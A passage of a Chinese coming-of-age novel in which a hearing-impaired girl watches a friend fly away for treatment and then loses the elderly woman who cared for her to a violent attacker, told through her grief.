暮色和飞机巨大的阴影沉沉地笼罩下来,倒映在她眼睛里。她看见那两道不断延伸的尾迹云,在灰蓝色的天幕上显得如此刺目,如此决绝。 这是哪里的飞机? 谭以南又在哪里? 恍惚间。 从内心深处蔓延而上的近乎直觉的认知,穿透了所有的猜测和不安,毫无阻碍,像一把淬了冰的匕首,精准地刺入心脏最柔软的地方。 云竹一次次否认自己的直觉。 谭以南在那上面。 他离开了。 以一种她永远无法企及的方式,飞向一个她完全无法想象的、遥远而陌生的地方。 云竹收回视线,盯着手机屏幕,他还是杳无音信。 飞机启航时,距离地面近。等到云竹不断给自己洗脑认知时,余光瞥到飞机经过前方不远处的江河,倒映出飞机的影子。 而在经过的一瞬间,云竹视力好,隔着透明玻璃,看到了一个人。 没有戴往常一样的棒球帽。 是崭新的谭以南。 云竹心脏一沉,腰腿软了一瞬。 谭以南生平第一次在她面前摘下棒球帽。 帽檐下,是少之又少的头发。 ……怎么会这样?怎么会这样? 云竹的手指在冰冷的纸箱盒盖上无意识地收紧,指节因为用力而泛出青白色,微微颤抖着。 谭以南在机舱上透过玻璃看她。 她在地面上抱着十八岁生日礼物看谭以南。 视线相对终究抵不过距离远行,云竹跟着飞机的方向往前跑两步,停下来。 豆大的水珠毫无预兆地砸落在她裸露的手臂上,激得她浑身一震。 ……下雨了。 是下雨了么? 梧桐阔大的叶子发出沙沙的轻响,落在泥土里,激起微小的尘埃气息,落在她额前的碎发上,凝成细小的水珠。冰凉的湿意迅速弥漫开来。 渐渐模糊的目光从遥远天空中那两道不断消散、最终融入无边灰暗的惨白尾迹云上,缓缓收回。 湿意连连,在她的睫毛上,凝成细小的水珠,沉重地坠着,模糊了眼前的一切。 云竹笑了。 她想起来谭以南还在生病。 他病了,要去看医生。 他去看医生了。 他终于肯为自己着想了。 治好了病,我们都会像往常一样,在王婆婆家里择菜包虾仁饺子,早起晚归往返学校,在教室里共同学习备战高考…… 都会好起来的,对吗? 云竹深吸一口气,缓慢蹲下|身子,她忽然特别难受,但又不知道为什么难受。 谭以南走了,去看病了。 这是好事。 她为什么哭? 是在哭她的朋友一个又一个离去吗? 这件事情王婆婆知不知道,或许知道,但没告诉云竹,但唯一肯定的是,她以后除了王婆婆,就再也没有人陪了。 在学校一个人学习吃饭上下学,在家里也是和王婆婆相处。 程慕走了,去了市内的学校。 谭以南也走了,为了更好的痊愈。 大家都在朝好的方向走着。 云竹幸福感动的笑容化成水珠,从早已泛红的眼角流下来,流下来,滴在湿意连连的围巾里。 2018.11.1 谭以南的十八岁生日。 陪他庆生的人在地面仰望离去, 过生的人在天上俯视她的悲苦。 28.Chapter 28 平静地度过了三天。 云竹眉心直跳,预感隐隐约约带来古怪。这几天的死寂像是在土地里悄无声息地生长扎根,表面看不出什么由头,但直觉告诉她要多加小心。 她告诉王婆婆这件事,自己直觉一向很准。 王婆婆笑呵呵拍拍云竹的肩膀,说傻孩子多放松,精神状态太过紧绷对学习影响不好,担心的都是没有的事,好好吃饭,好好睡觉。 云竹只好点点头。 而在谭以南不在这里的日子,云竹度过了一天又一天的虚无生活,每周五放学背着帆布包独自一人回到家,一个人择菜,帮王婆婆洗碗。 是什么时候习惯了他在身边的生活。 云竹抬起眼睛,看向筒子楼外。 “云竹丫头,身上的伤好些了没有?我刚刚去下楼买了点碘伏和医用棉签,婆婆年纪大了,手抖,怕弄疼你,我让隔壁陈老二家孩子帮你涂碘伏吧。”王婆婆开关门的声音传来,手提着破皮的深色小包,上了年纪的人就是这样,出去买个菜抢个鸡蛋,无论做什么事情都要用小包装着,不用塑料袋,说是用习惯了。 云竹一听,摇摇头说道:“不用了不用了婆婆,我自己来就好。” 王婆婆放下包,拉链拉开取出未拆封的碘伏和棉签递给云竹,“今天没去学吗?” 云竹点点头,“对,今天高三模拟考要占用我们的教室,放了一天假。” “放假好,放假好,能歇歇。现在的小孩子,上学比我年轻时候上班还累,唉。” 经过将近一年的相处,云竹倒是也没有那么怕王婆婆了,寄人篱下的不适感如水洼蒸发般褪去。她两三步追上去,“婆婆,我能问一个问题吗?” “你说,婆婆知道的都和你讲。” 云竹纠结许久,按理来说她是寄住在这里的人,家里少了一个人更空闲些,也不必有青春年少时的男女有别而出现的别扭感,从各个角度来说,谭以南离开,是对她有益的。 但她还是接受不了。 需要一个无故离开却不告知她的理由。 云竹还是问出了口,声音小了些,“谭以南……他去了哪里?” 王婆婆听闻也蹙起眉毛,“南南啊……他走那天,他爹打电话告诉我,孩子闹脾气闹够了,在老家也住够了,又准备回去读书了。” 云竹掩饰住眼底的惊讶。 王婆婆这个反应……像是不知道谭以南的病症。 是隐藏得很好不打算给她讲,还是谭以南的父母考虑老年人接受不了,没告诉王婆婆真相? 云竹这个时候也不好多说什么。 王婆婆依然絮絮叨叨:“这孩子也真是的……走之前连个招呼都不打,打电话也不接,幸好有云竹陪我,唉,老了,管不动了。” 云竹:“婆婆,我会一直在的。” 我不会走,不会成为主动离开的那一个。 我会一直在你身边。 “哎呦,还是云竹好啊,简直比亲生的还要亲……” 耳边萦绕王婆婆的念叨,云竹不知不觉间眼尾泛红,她觉察到后又抬起手抹抹即将涌出眼眶的眼泪。 怎么又开始哭了?不能在王婆婆面前哭,会让她心疼的。 以后要学坚强一点。 “总要学会坚强的,不能一直哭,不然会陷入内耗,总觉得自己一无是处……”云竹心里头说着,这么多年过去,摆脱——被父母抛弃后确实少了几顿挨打,但说实在点,名义上也没有父母了。 离开后的那几天,云竹夜间躺在床上,盖着王婆婆家暖和干燥的棉被,心却被月光照得发冷。 谭以南那天说的。听障缺陷她也慢慢在接受,也渐渐接纳自身的不完美,试图喜欢玻璃窗上倒映的字句。 于是云竹学会安慰,有没有效果她不知道,但总比没有强。 她看向筒子楼下方,街道上人来人往的群流,思绪飞远,飘向天边,目前这个样子也不敢去学,在家里待着等伤好了再去。 至于这两天,在家里没事干,总不能太闲,要找点活干。接着便主动和王婆婆说晚饭吃的馒头她下去买。买点东西而已,云竹没多想,也没戴助听器,右耳能听见可以进行交易,不碍事就行。 “小姑娘,要几个馍?” “两个,谢谢。”云竹说着从口袋里取出纸币,回眸的瞬间余光瞥到和她同一届的校服。 往上看去。 “云竹?是你啊,好巧好巧。” 楚彩笑眯眯的,和火烧馍店老板掏完钱便一手提着东西,一手拉起云竹走向街道,“你也买这家店的吗?确实挺好吃的,发面发的很厉害,也不是很咸。” 云竹实在是没想到下楼帮王婆婆买火烧馍时会碰到楚彩,和楚彩在附近聊一会也不是不可以,回到家的时间刚好能赶上王婆婆做饭。 “是的。”云竹点点头,对上楚彩的目光。 对方笑了一下,“你是在疑惑我今天为什么穿校服吗?我的衣服被家里养的小猫弄脏了,干脆就穿校服下来买东西。对了,你前段时间没有来学,我听说你受伤了,还好吗?” 楚彩说话语速不快不慢。 云竹先是听到小猫,幻想着长大以后也要养一只属于自己的小猫。 后面听到关于自身生活,思绪飘回来,开口回复道:“还好,伤好的差不多了。” 傍晚五六点,天色泛黄,远处带着渐变的雾蓝,而身旁一栏的路灯亮起,明亮暖光投射|在整整齐齐的地砖上。 楚彩顿住脚步,“谭以南退学了,你知道吗?” 云竹紧接着又是一愣,随后眉眼舒展,“我也是刚知道,这几天都没看他去学校。” 楚彩提着热气腾腾的塑料袋,“好突然啊。” 云竹点点头,“对,也可能是他父母不放心在这里,就先让他走了,走了也好。” 话题一拐,楚彩顺势想到不久前发生的悲剧,不免眉头紧蹙,眼底忧伤的神色掩盖不住,目光上下打量云竹,“那个凶手抓到了吗?” “没有。” 楚彩叹口气,“唉,没关系,警|察都出动了,肯定会抓到的,只不过是时间问题。你还是在学校住比较好,那个人就算再胆大,也不会贸然翻墙进学校闹事吧?” 云竹沉默良久,“有风险,对大家来说都不好。” “我没懂。”楚彩顺势又去买了瓶橘子汽水。 云竹站在她旁边,“他都敢捅人,再极端的事情也能做出来,我没勇气去赌会不会造成学校恐慌,而且快期中考试了,大家都忙着学习。” 楚彩还是面色难尽,“那你呢?你怎么办?” 云竹长舒一口气,“我会好好的,我在王婆婆家待着,邻居家养了条狗,有陌生人来了会狂吠不止,我们会把门锁好。” 楚彩还是不放心,“那你小心点啊。要不我送你回去?刚好顺路。” “好,谢谢你。” 厚重云层之下,两个女生肩并肩一起走,步子一致,踏过来往车辆碾碎的余晖倒影,渐渐靠近破旧不堪却屹立不倒的筒子楼。 这里承载了太多老旧的回忆。 火烧馍的焦香还烫着指尖,油纸包揣在怀里,像揣着一小团温热的、即将熄灭的火,至于这火能燃多久,云竹也不知道,熬一天是一天吧,等到长大了总会好起来的。 云竹低着头,脚步灵巧,小心地避开楼道里堆积的杂物和自行车,往上走,在台阶上顿住脚步,回头,真心说道:“就送到这里吧,再次谢谢你,楚彩。” 自从程慕走后,她格外珍惜其他人主动联络的友谊,已经断开了一段铭心的回忆。对于外人递出来的友善援手,她珍贵不已。 楼道空气里浮动着老房子特有的味道,楼梯间角落中蜘蛛网破烂不堪,前几天刚下过雨,发出潮湿发霉的气味,以及楼上窗口飘出的辣椒炒窝瓜气味,混合成一种令人窒息的黏稠。 楼梯拐角的阴影比别处更浓些,云竹习惯性地缩了缩肩膀,想快点穿过那片昏暗。 “好,那我走了啊。”就在楚彩腾出一只手朝云竹挥手时,仰起头,注意力猛然被楼上吸引。 云竹没带助听器,她下意识摸了下耳朵,“怎么了吗?”发生什么事了? 对未知危险降临,云竹这方面的敏锐性十分强烈,几乎是即刻心下一沉,想要哭出来,但与之前不同的是,这回眼泪硬生生憋回去。 云竹心道不好,顺着楚彩的视线转过头去—— 一种异样的震动,从脚底楼板传来极其细微却急促的颤抖,像有什么东西在挣扎、撞击。 耳边隐隐约约听到狗吠声,那是邻居家那条平时总蔫蔫趴着的土狗的声音,吠声里裹着一种尖锐到极致的惊恐和狂乱。 听力障碍减弱了听力传递给大脑的恐惧,但细小的声响在云竹意识领域化作一种实质性的恐慌,狠狠撞在溃烂结痂的心口。 不久前和楚彩逛街还说到邻居家的狗…… 邻居和王婆婆在同一楼层,而且听王婆婆说土狗性子敦实,一般情况下不会这么大声狂吠不止。 云竹眼前一黑,手指甲紧紧磨着装着火烧馍的塑料袋。 怎么会这样? 明明她只是出去了一趟…… 明明她只是出去了一趟啊…… 云竹四肢不听使唤,耳边传来楚彩的叫喊,可音量大的字句从脑袋经过依然是一片空白。 她现在听不进去一句话了。 是跪下认命的颓败感袭遍全身。 楚彩猛地攥紧了她的胳膊,手指冰凉,力道大得几乎要掐进她肉里,“别去!我先报警!肯定是那个男人回来找麻烦了,听我的别去!云竹!!” 可云竹不知道在哪里爆发出来的力气,猛猛一甩手,眼泪再也憋不住,砸到衣服上,“楚彩!我就这一个亲人了……我就婆婆一个人了……” 云竹向前奔跑几步,脸上的血色褪得干干净净,嘴唇无声地张合,眼睛惊恐地瞪大。 怀里的火烧馍滚落在地,沾满了灰黑的尘土。 * 平平无奇的家门口在云竹眼中是一帧帧缓慢撕裂的残像。 她看见婆婆惊骇的面孔,看见那扇门剧烈地抖动了一下。短楼梯上面站的是一个弯着腰的壮实男人,猛地从楼道上方踉跄着出现,嘴里说着什么,是骂人的,是发泄的,是嘲笑的。 究竟是什么话,云竹听不见,也不想听到,她一下子冲到瘫倒在地滚下楼梯的婆婆面前,轻轻拍打苍老的面孔。 所有变故发生在一瞬间。 楼上楼下的门接二连三被猛地拉开,杂乱的脚步声、惊呼声、怒吼声像潮水一样涌来,瞬间填满了狭窄的楼道。几个高大的邻居和老头子带狗扑向那个刚从门内冲出的、面目狰狞扭曲的身影,扭打、压制、咒骂……一切混乱都在云竹眼前无声地上演,像一部按下静音键的电影胶片,只有画面在疯狂地闪烁、冲撞。 但云竹依然连头都没抬起,她的头绳不知道在什么时候掉了,乌黑头发披散在肩头。 眼泪沾湿发梢,在婆婆脸上的皱纹不断摩挲着,透明的泪水搅混着鲜红血液,淌过婆婆的眼角。 她不断摇晃着王婆 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到最后,所有的话语到了嘴边,烟消云散,只化作一句,重复又一遍重复。 “婆婆,你不要丢下我。不要走,我没有家人了,没有了,什么也没有了,我什么也没有了……” 一无所有。 深色粘稠的血液正从她花白的发丝间缓慢地渗出,蜿蜒爬行,在积满灰尘的水泥地上,洇开一小片触目惊心的暗红,不断扩大,渗透了云竹的裤子。 但她实在是没有心思管了,这些都不重要,都不重要。 在生命中占据重要位置的人,全都离开了她的生活。 云竹从始至终,一无所有。 有人围了过去,大声呼唤着,手忙脚乱。有人冲下楼去打电话。邻居阿姨脱下了外套,颤抖着盖在王婆婆身上。 场面乱成一团。 救护车尖厉的鸣笛声由远及近,车后蓝红色闪烁灯忽明忽暗,刺破这片老城区的血腥沉闷。穿白大褂的医生抬着担架冲上来,帮着身边流泪的楚彩一起拉开了哭得失神的云竹,楚彩抱着云竹搂在怀里,两个人抱在一起哭。 楚彩也不管袖子上沾没沾了地上的血迹,嘴里念念不绝,眼泪却止不住地往下掉,“没事的,没事的,王婆婆一定会好起来的,医生们妙手回春,云竹,没事的,你先振作起来……” 王婆婆的躯体被小心却又匆忙地挪上担架,盖上了白色单子。担架从云竹面前经过时,看见一只枯瘦的手从白单子边缘滑落,无力地垂荡着,指尖还沾着一点面粉的痕迹。 车门砰地关上,隔绝了所有视线。红蓝闪烁的灯刺眼地旋转着,救护车尖叫着驶离,汇入窗外灰蒙蒙的街道,最终消失不见。 楚彩轻轻拍着云竹的脊背,看到行凶的男人被警察反扭着胳膊押下来,脸上还带着未褪尽的疯狂和戾气,嘴里不干不净地叫骂着。人群渐渐散去,带着唏嘘和未散的惊恐,楼道里只剩下满地狼藉,满地的脚印和墙皮,以及干涸血迹,无声地诉说着刚刚发生的惨烈。 惨烈在云竹闭上眼后仍然循环播放。 像无尽的电影录像带,不能暂停,不能退出,观众只好睁着眼睛看发生的一切。 身上有温暖柔软的物什缓缓搭上,云竹用力睁开哭肿的眼睛,映入眼帘的除了泛黄的的天花板,还有一个见过几面的女邻居杨婶。 杨婶一见到云竹睁开眼,便也没办法保持冷静,偏过头去剧烈喘几口气,“给,晚上太冷,你好好盖着被子。” 把棉被抓起来,紧紧攥在手心,粗糙的针线硌着掌心皮肤。云竹张口想说什么,但喉咙疼痛感只增不减,发不出来任何声音,杨婶见状转身在床头柜倒了一杯水递给她。 眼泪毫无预兆地汹涌而出,不是嚎啕,是无声的崩溃,肩膀剧烈地颤抖着,滚烫的液体砸落在手背,沿着皮肤渗进被子,晕开一小片深色的湿痕。 云竹握着热水杯,静静的坐着。 她没有喝水。 而是仰起脸,无神的双眼倒映着杨婶怜悯的神情。 云竹听到嘶哑的喉咙划破夜间寂静。 谭以南说,有亲人在的地方,就是家。 可是。 “杨婶,我没有家了。” 杨婶面对着墙壁,无法控制哭出声,但云竹现在已经哭不出来的,眼睛时不时泛疼,她盯着被子里晃荡的热水,不禁深想。 为什么是王婆婆? 死的可以是她。 她无依无靠的,死了没有任何人怜惜。 但为什么是王婆婆? 那个总会偷偷在饭碗里多放点她最爱吃的空心菜,在听到门锁一声开后从厨房里探出头说“云竹丫头终于回家了”的婆婆? 这个问题等到了第二天仍然无解。 云竹低着头,站在门前,楼道已经被粗略打扫过,但那块水泥地上的深褐色印记,却像一道永恒的伤疤,顽固地留在那里。 昨天自告奋勇让云竹住在自家的邻居杨婶站在门口,眼睛红肿,看到她一人的背影,嘴唇嗫嚅了几下,脸上露出一种混合着悲伤和难以启齿的沉重。 “云竹……”杨婶的声音沙哑得厉害,带着浓重的鼻音,“昨天医院那边,婆婆她……没抢救过来……” 没抢救过来。 王婆婆也像他们一样,如此坚决离开了她的生活。 云竹没有家了。 再次回到了独自一人艰难苟活的烂泥生活。